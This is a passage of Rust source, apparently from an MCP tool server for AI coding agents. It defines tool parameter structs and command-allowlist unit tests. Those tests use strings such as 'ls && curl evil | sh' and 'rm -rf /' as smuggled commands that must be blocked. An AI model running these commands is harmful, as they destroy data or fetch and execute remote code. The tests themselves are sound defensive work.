955fn sanitize_shell_string(value: &str) -> String {
956 value.replace('\0', "\\x00")
957}
958
959// Bash command mode
960#[derive(Debug, Clone, JsonSchema, PartialEq)]
961pub struct BashCommandMode {
962 pub bash_mode: BashMode,
963 pub allowed_commands: AllowedCommands,
964}
965
966#[derive(Debug, Clone, Copy, JsonSchema, PartialEq)]
967pub enum BashMode {
968 NormalMode,
969 RestrictedMode,
970}
971
972// File edit mode
973#[derive(Debug, Clone, JsonSchema, PartialEq)]
974pub struct FileEditMode {
975 pub allowed_globs: AllowedGlobs,
976}
977
978// Write if empty mode
979#[derive(Debug, Clone, JsonSchema, PartialEq)]
980pub struct WriteIfEmptyMode {
981 pub allowed_globs: AllowedGlobs,
982}
983
984/// Parameters for the `FileWriteOrEdit` tool
985///
986/// This struct represents the parameters needed to write or edit a file
987/// with optional search/replace blocks for partial edits.
988#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
989pub struct FileWriteOrEdit {
990 /// Path to the file to write or edit
991 ///
992 /// This must be an absolute path (~ allowed).
993 pub file_path: String,
994
995 /// Percentage of the file that will be changed
996 ///
997 /// If > 50%, the content is treated as the entire file content.
998 /// If <= 50%, the content is treated as search/replace blocks.
999 pub percentage_to_change: u32,
1000
1001 /// Content for the file or search/replace blocks
1002 ///
1003 /// If `percentage_to_change` > 50%, this is the entire file content.
1004 /// If `percentage_to_change` <= 50%, this contains search/replace blocks
1005 /// in the format:
1006 /// ```text
1007 /// <<<<<<< SEARCH
1008 /// old content to find
1009 /// =======
1010 /// new content to replace with
1011 /// >>>>>>> REPLACE
1012 /// ```
1013 pub text_or_search_replace_blocks: String,
1014
1015 /// The thread ID for this session
1016 pub thread_id: String,
1017}
1018
1019/// One compare-and-swap line patch. Coordinates refer to the original revision,
1020/// are one-based, and all patches are applied together.
1021#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema, PartialEq)]
1022pub struct LinePatch {
1023 /// Original line before which replacement starts (`totalLines + 1` appends).
1024 pub start_line: usize,
1025 /// Number of original lines to remove; zero performs an insertion.
1026 pub delete_lines: usize,
1027 /// Exact replacement bytes. Include newlines intentionally.
1028 pub replacement: String,
1029}
1030
1031/// Apply one or more non-overlapping line patches to an exact `ReadFiles`
1032/// revision. This is preferable to SEARCH/REPLACE when line coordinates are
1033/// already known.
1034#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1035pub struct ApplyPatch {
1036 /// Path returned by `ReadFiles.files[].path`.
1037 pub file_path: String,
1038 /// Opaque `ReadFiles.files[].revision` compare-and-swap token.
1039 pub expected_revision: String,
1040 /// Ordered, non-overlapping edits against that original revision.
1041 pub patches: Vec<LinePatch>,
1042 /// Thread ID for the same project session that produced the revision.
1043 pub thread_id: String,
1044}
1045
1046/// One file's worth of edits in a [`MultiFileEdit`] batch. Same semantics as the
1047/// corresponding [`FileWriteOrEdit`] fields.
1048#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1049pub struct FileEditEntry {
1050 /// Path to the file to write or edit (absolute, ~ allowed).
1051 pub file_path: String,
1052 /// If > 50%, the content is the entire file; if <= 50%, search/replace blocks.
1053 pub percentage_to_change: u32,
1054 /// Full file content or search/replace blocks (see `FileWriteOrEdit`).
1055 pub text_or_search_replace_blocks: String,
1056}
1057
1058/// Parameters for the `MultiFileEdit` tool: apply edits across several files
1059/// all-or-nothing at the COMPUTE stage.
1060///
1061/// Every file is validated and its new content computed in memory first; only
1062/// if ALL succeed are any writes performed. So a SEARCH that fails to match in
1063/// the last file leaves the first files untouched. The write stage is a sequence
1064/// of atomic single-file renames and stops at the first I/O failure (already
1065/// written files are not rolled back, which is reported clearly).
1066#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1067pub struct MultiFileEdit {
1068 /// Two or more files to edit together. For a single file use `FileWriteOrEdit`.
1069 pub files: Vec<FileEditEntry>,
1070
1071 /// The thread ID for this session
1072 pub thread_id: String,
1073}
1074
1075/// Parameters for rerunning a post-edit verification without repeating the edit.
1076#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1077pub struct VerifyEdit {
1078 /// Deterministic receipt returned by the edit that first ran this command.
1079 pub verification_id: String,
1080 /// Exact finite foreground verification command from the edit receipt.
1081 pub command: String,
1082 /// Optional bounded inline wait, from 0 through 60 seconds.
1083 #[serde(default)]
1084 pub wait_for_seconds: Option<f32>,
1085 /// The thread ID for the same project session as the original edit.
1086 pub thread_id: String,
1087}
1088
1089/// Parameters for the `UndoEdit` tool: revert a file to its content before the
1090/// last `FileWriteOrEdit`/`MultiFileEdit` in this session.
1091#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1092pub struct UndoEdit {
1093 /// Path of the file whose last edit should be reverted (absolute, ~ allowed).
1094 pub file_path: String,
1095
1096 /// The thread ID for this session
1097 pub thread_id: String,
1098}
1099
1100/// Parameters for the `ContextSave` tool
1101///
1102/// This struct represents the parameters needed to save context information
1103/// about a task, including file contents from specified globs.
1104#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1105pub struct ContextSave {
1106 /// Unique identifier for the task
1107 ///
1108 /// This should be a unique string that identifies the task. It can be
1109 /// a random 3-word identifier or a user-provided value.
1110 pub id: String,
1111
1112 /// Root path of the project
1113 ///
1114 /// This should be an absolute path to the project root. If empty, no
1115 /// project root will be used.
1116 pub project_root_path: String,
1117
1118 /// Description of the task
1119 ///
1120 /// This should contain a detailed description of the task, including
1121 /// relevant context, problems, and objectives.
1122 pub description: String,
1123
1124 /// List of file glob patterns
1125 ///
1126 /// These glob patterns identify the files that should be included in
1127 /// the saved context. Patterns can be absolute or relative to the project root.
1128 pub relevant_file_globs: Vec<String>,
1129
1130 /// Optional thread ID identifying the shell session to operate on. When
1131 /// omitted, the most recently active session is used.
1132 #[serde(default)]
1133 pub thread_id: String,
1134}
1135
1136/// Parameters for the `ReadImage` tool
1137///
1138/// This struct represents the parameters needed to read an image file.
1139#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1140pub struct ReadImage {
1141 /// Path to the image file to read
1142 ///
1143 /// This can be an absolute path or a path relative to the current working directory.
1144 pub file_path: String,
1145
1146 /// Optional thread ID identifying the shell session to operate on. When
1147 /// omitted, the most recently active session is used.
1148 #[serde(default)]
1149 pub thread_id: String,
1150
1151 /// Deliver the image again even when the unchanged bytes were already sent
1152 /// in this live session. Leave false for normal agent use so accidental
1153 /// repeated calls do not resend a multi-megabyte image.
1154 #[serde(default)]
1155 pub force: bool,
1156}
1157
1158/// Operation for the `CodeMap` tool.
1159#[derive(Debug, Clone, Copy, Serialize, Deserialize, JsonSchema, PartialEq, Eq)]
1160#[serde(rename_all = "snake_case")]
1161pub enum CodeMapOperation {
1162 /// A file's symbol definitions, or a ranked repo-wide symbol map for a directory.
1163 Outline,
1164 /// The definition + reference (call/use) sites of a symbol name across the repo.
1165 References,
1166}
1167
1168/// Parameters for the `CodeMap` tool: tree-sitter code navigation. One tool with
1169/// two operations, in place of separate `Outline` / `FindReferences` tools.
1170#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1171pub struct CodeMap {
1172 /// `outline` (symbols in a file, or a ranked repo symbol map for a directory)
1173 /// or `references` (the definition + use sites of a symbol name).
1174 pub operation: CodeMapOperation,
1175
1176 /// For `outline`: the file or directory to map (empty or a directory = a
1177 /// ranked repo symbol map). For `references`: the directory or file to search
1178 /// under (empty = the whole workspace). Relative paths resolve against the
1179 /// workspace.
1180 #[serde(default)]
1181 pub path: String,
1182
1183 /// For `references` ONLY: the exact symbol name to find (e.g. `parse_config`).
1184 /// Required for `references`, ignored by `outline`.
1185 #[serde(default)]
1186 pub name: String,
1187
1188 /// Maximum results: symbols (single file) or files (repo map) for `outline`,
1189 /// occurrences for `references`. 0 means the default.
1190 #[serde(default)]
1191 pub max_results: usize,
1192
1193 /// Optional task focus used to rank directory maps. Short symbol names,
1194 /// paths, or a concise topic work best. Ignored by single-file outlines and
1195 /// reference searches.
1196 #[serde(default)]
1197 pub query: String,
1198
1199 /// Opaque continuation returned by a truncated directory outline. Reuse it
1200 /// with the same path, query, and workspace snapshot; omit it to restart.
1201 #[serde(default)]
1202 pub cursor: String,
1203
1204 /// Optional thread ID identifying the shell session to operate on. When
1205 /// omitted, the most recently active session is used.
1206 #[serde(default)]
1207 pub thread_id: String,
1208}
1209
1210/// Parameters for the `Outline` operation (tree-sitter symbol map), used
1211/// internally by `CodeMap`.
1212#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1213pub struct Outline {
1214 /// File or directory to outline. A file returns that file's symbols; a
1215 /// directory (or empty = the whole workspace) returns a ranked repo symbol
1216 /// map. Relative paths resolve against the workspace.
1217 #[serde(default)]
1218 pub path: String,
1219
1220 /// Maximum symbols to return for a single file, or maximum files for a repo
1221 /// map. 0 means the default.
1222 #[serde(default)]
1223 pub max_results: usize,
1224
1225 /// Optional task focus used to rank directory maps.
1226 #[serde(default)]
1227 pub query: String,
1228
1229 /// Opaque continuation for a directory map.
1230 #[serde(default)]
1231 pub cursor: String,
1232
1233 /// Optional thread ID identifying the shell session to operate on. When
1234 /// omitted, the most recently active session is used.
1235 #[serde(default)]
1236 pub thread_id: String,
1237}
1238
1239/// One symbol (definition) in `Outline` output.
1240#[derive(Debug, Clone, Serialize, JsonSchema)]
1241pub struct OutlineSymbol {
1242 /// Symbol name.
1243 pub name: String,
1244 /// Symbol kind from the grammar (e.g. `function`, `struct`, `method`, `class`).
1245 pub kind: String,
1246 /// 1-based line where the definition starts.
1247 pub line: usize,
1248}
1249
1250/// Symbols for one file in `Outline` output.
1251#[derive(Debug, Clone, Serialize, JsonSchema)]
1252pub struct OutlineFile {
1253 /// Workspace-relative path of the file.
1254 pub file: String,
1255 /// Definitions found in the file, in source order.
1256 pub symbols: Vec<OutlineSymbol>,
1257}
1258
1259/// Actionable fallback when a single-file `CodeMap` outline cannot provide
1260/// symbols. Exact source remains canonical; helpers are optional and derived.
1261#[derive(Debug, Clone, Serialize, JsonSchema)]
1262pub struct CodeMapFallback {
1263 /// Tool that can retrieve the canonical source.
1264 pub tool: String,
1265 /// Absolute path ready for `ReadFiles.file_paths`.
1266 pub file_paths: Vec<String>,
1267 /// Stable machine-readable reason for the fallback.
1268 pub reason: String,
1269 /// Session-local location for a genuinely useful derived helper.
1270 pub temporary_artifact_dir: String,
1271}
1272
1273/// Structured result of an `Outline` call (mirrors the text block).
1274#[derive(Debug, Clone, Serialize, JsonSchema)]
1275pub struct OutlineOutput {
1276 /// `file` for a single-file outline, `repo` for a workspace symbol map.
1277 pub mode: String,
1278 /// Number of files included in `files`.
1279 pub files_shown: usize,
1280 /// Per-file symbol lists.
1281 pub files: Vec<OutlineFile>,
1282 /// True if the symbol map was capped (more files or symbols exist).
1283 pub truncated: bool,
1284 /// Opaque continuation for the next ranked directory-map page.
1285 #[serde(skip_serializing_if = "Option::is_none")]
1286 pub next_cursor: Option<String>,
1287 /// Stable fingerprint of the ranked directory snapshot behind the cursor.
1288 #[serde(skip_serializing_if = "Option::is_none")]
1289 pub snapshot_hash: Option<String>,
1290 /// Number of candidate files inspected while producing this page.
1291 pub files_scanned: usize,
1292 /// Combined bytes of the human-readable map and its structured navigation
1293 /// payload, before the small shared MCP result envelope is added.
1294 pub payload_bytes: usize,
1295 /// Lowercase source extension in single-file mode.
1296 #[serde(skip_serializing_if = "Option::is_none")]
1297 pub file_extension: Option<String>,
1298 /// Whether Winx has a native tags query for the single-file language.
1299 #[serde(skip_serializing_if = "Option::is_none")]
1300 pub language_supported: Option<bool>,
1301 /// Exact-source recovery for an unsupported or unavailable parser.
1302 #[serde(skip_serializing_if = "Option::is_none")]
1303 pub fallback: Option<CodeMapFallback>,
1304}
1305
1306/// Parameters for the `FindReferences` tool (tree-sitter symbol occurrences).
1307#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1308pub struct FindReferences {
1309 /// Symbol name to find — an exact identifier match (e.g. `parse_config`).
1310 pub name: String,
1311
1312 /// Directory or file to search under. Relative paths resolve against the
1313 /// workspace; leave empty to search the whole workspace.
1314 #[serde(default)]
1315 pub path: String,
1316
1317 /// Maximum occurrences to return. 0 means the default.
1318 #[serde(default)]
1319 pub max_results: usize,
1320
1321 /// Optional thread ID identifying the shell session to operate on. When
1322 /// omitted, the most recently active session is used.
1323 #[serde(default)]
1324 pub thread_id: String,
1325}
1326
1327/// One symbol occurrence in `FindReferences` output.
1328#[derive(Debug, Clone, Serialize, JsonSchema)]
1329pub struct ReferenceHit {
1330 /// Workspace-relative path.
1331 pub file: String,
1332 /// 1-based line.
1333 pub line: usize,
1334 /// Symbol kind from the grammar (e.g. `function`, `call`, `method`).
1335 pub kind: String,
1336 /// True for a definition, false for a reference (call / use site).
1337 pub is_definition: bool,
1338}
1339
1340/// Structured result of a `FindReferences` call (mirrors the text block).
1341#[derive(Debug, Clone, Serialize, JsonSchema)]
1342pub struct ReferencesOutput {
1343 /// The symbol name that was searched for.
1344 pub name: String,
1345 /// Number of returned hits that are definitions.
1346 pub definitions: usize,
1347 /// Number of returned hits that are references (call / use sites).
1348 pub references: usize,
1349 /// True if the result was capped (more occurrences exist).
1350 pub truncated: bool,
1351 /// Combined bytes of the human-readable result and structured navigation
1352 /// payload before the shared MCP envelope is added.
1353 pub payload_bytes: usize,
1354 /// Occurrences, definitions first then references, each group by file/line.
1355 pub hits: Vec<ReferenceHit>,
1356}
1357
1358/// Aggregate guard state for a `CodeMap` call over non-canonical session helpers.
1359#[derive(Debug, Clone, Copy, Serialize, JsonSchema)]
1360pub struct CodeMapTemporaryHelperBudget {
1361 pub calls_used: usize,
1362 pub calls_limit: usize,
1363 pub unique_files_used: usize,
1364 pub unique_files_limit: usize,
1365}
1366
1367/// JSON Schema advertised for `CodeMap.structuredContent`.
1368///
1369/// `CodeMap` has two operations with different payloads. Their shared
1370/// `truncated` field is required; operation-specific fields are optional so the
1371/// single object schema accepts both the outline and references result shapes.
1372#[derive(Debug, Clone, JsonSchema)]
1373pub struct CodeMapStructuredOutput {
1374 pub truncated: bool,
1375 pub next_cursor: Option<String>,
1376 pub snapshot_hash: Option<String>,
1377 pub files_scanned: Option<usize>,
1378 pub payload_bytes: Option<usize>,
1379 pub source_kind: Option<String>,
1380 pub canonical: Option<bool>,
1381 pub temporary_helper_budget: Option<CodeMapTemporaryHelperBudget>,
1382 pub mode: Option<String>,
1383 pub files_shown: Option<usize>,
1384 pub files: Option<Vec<OutlineFile>>,
1385 pub file_extension: Option<String>,
1386 pub language_supported: Option<bool>,
1387 pub fallback: Option<CodeMapFallback>,
1388 pub name: Option<String>,
1389 pub definitions: Option<usize>,
1390 pub references: Option<usize>,
1391 pub hits: Option<Vec<ReferenceHit>>,
1392}
1393
1394#[cfg(test)]
1395mod thread_id_tests {
1396 use super::{normalize_thread_id, MAX_NORMALIZED_THREAD_ID_BYTES};
1397
1398 #[test]
1399 fn clean_id_is_unchanged() {
1400 assert_eq!(normalize_thread_id("tid_deadbeef"), "tid_deadbeef");
1401 assert_eq!(normalize_thread_id("worker_1"), "worker_1");
1402 }
1403
1404 #[test]
1405 fn empty_and_all_special_normalize_to_empty() {
1406 assert_eq!(normalize_thread_id(""), "");
1407 assert_eq!(normalize_thread_id("---"), "");
1408 }
1409
1410 #[test]
1411 fn separator_variants_do_not_collide() {
1412 // "user-1" and "user1" must NOT resolve to the same session/state file.
1413 let a = normalize_thread_id("user-1");
1414 let b = normalize_thread_id("user1");
1415 assert_ne!(a, b);
1416 assert!(a.starts_with("user1_"), "got {a}");
1417 assert_eq!(b, "user1");
1418 // "user-1" vs "user_1" must also stay distinct.
1419 assert_ne!(normalize_thread_id("user-1"), normalize_thread_id("user_1"));
1420 }
1421
1422 #[test]
1423 fn normalization_is_deterministic() {
1424 // Same input -> same hash -> same session across restarts.
1425 assert_eq!(normalize_thread_id("a-b.c"), normalize_thread_id("a-b.c"));
1426 }
1427
1428 #[test]
1429 fn oversized_ids_are_utf8_safe_bounded_and_idempotent() {
1430 let original = "á".repeat(200);
1431 let normalized = normalize_thread_id(&original);
1432 assert!(normalized.len() <= MAX_NORMALIZED_THREAD_ID_BYTES);
1433 assert!(normalized.is_char_boundary(normalized.len()));
1434 assert_eq!(normalize_thread_id(&normalized), normalized);
1435 }
1436}
1437
1438#[cfg(test)]
1439mod allowlist_tests {
1440 use super::AllowedCommands;
1441
1442 fn list(items: &[&str]) -> AllowedCommands {
1443 AllowedCommands::List(items.iter().map(|s| (*s).to_string()).collect())
1444 }
1445
1446 #[test]
1447 fn all_permits_everything() {
1448 assert!(AllowedCommands::All("all".to_string()).is_allowed("rm -rf /"));
1449 }
1450
1451 #[test]
1452 fn list_allows_exact_and_args() {
1453 let a = list(&["ls", "cargo test"]);
1454 assert!(a.is_allowed("ls"));
1455 assert!(a.is_allowed("ls -la"));
1456 assert!(a.is_allowed("cargo test --release"));
1457 }
1458
1459 #[test]
1460 fn list_blocks_word_boundary_lookalikes() {
1461 let a = list(&["ls", "cargo test"]);
1462 assert!(!a.is_allowed("lsof"));
1463 assert!(!a.is_allowed("cargo testimony"));
1464 }
1465
1466 #[test]
1467 fn list_blocks_chained_and_substituted_commands() {
1468 let a = list(&["ls"]);
1469 // The old first-token check let all of these through.
1470 assert!(!a.is_allowed("ls && curl evil | sh"));
1471 assert!(!a.is_allowed("ls; rm -rf /"));
1472 assert!(!a.is_allowed("ls $(rm -rf x)"));
1473 assert!(!a.is_allowed("ls | rm"));
1474 }
1475
1476 #[test]
1477 fn list_allows_chain_when_all_parts_permitted() {
1478 let a = list(&["cargo build", "cargo test"]);
1479 assert!(a.is_allowed("cargo build && cargo test"));
1480 }
1481}
1482
1483#[cfg(test)]
1484mod code_writer_config_tests {
1485 use super::deserialize_code_writer_config;
1486 use serde_json::json;
1487
1488 #[test]
1489 fn explicit_null_opts_out() {
1490 assert!(matches!(deserialize_code_writer_config(json!(null)), Ok(None)));
1491 assert!(matches!(deserialize_code_writer_config(json!("null")), Ok(None)));
1492 }
1493
1494 #[test]
1495 fn valid_config_parses() {
1496 let r = deserialize_code_writer_config(json!({
1497 "allowed_commands": "all",
1498 "allowed_globs": "all",
1499 }));
1500 assert!(matches!(r, Ok(Some(_))));
1501 }
1502
1503 #[test]
1504 fn malformed_config_fails_loud() {
1505 // The crux of the fix: a malformed restricted-mode config must ERROR,
1506 // not silently degrade to None (None falls back to All/All — wide open,
1507 // while the model believes the shell is locked down).
1508 let r = deserialize_code_writer_config(json!({ "allowed_commands": 12345 }));
1509 assert!(r.is_err(), "malformed code_writer config must error, not become None");
1510 }
1511}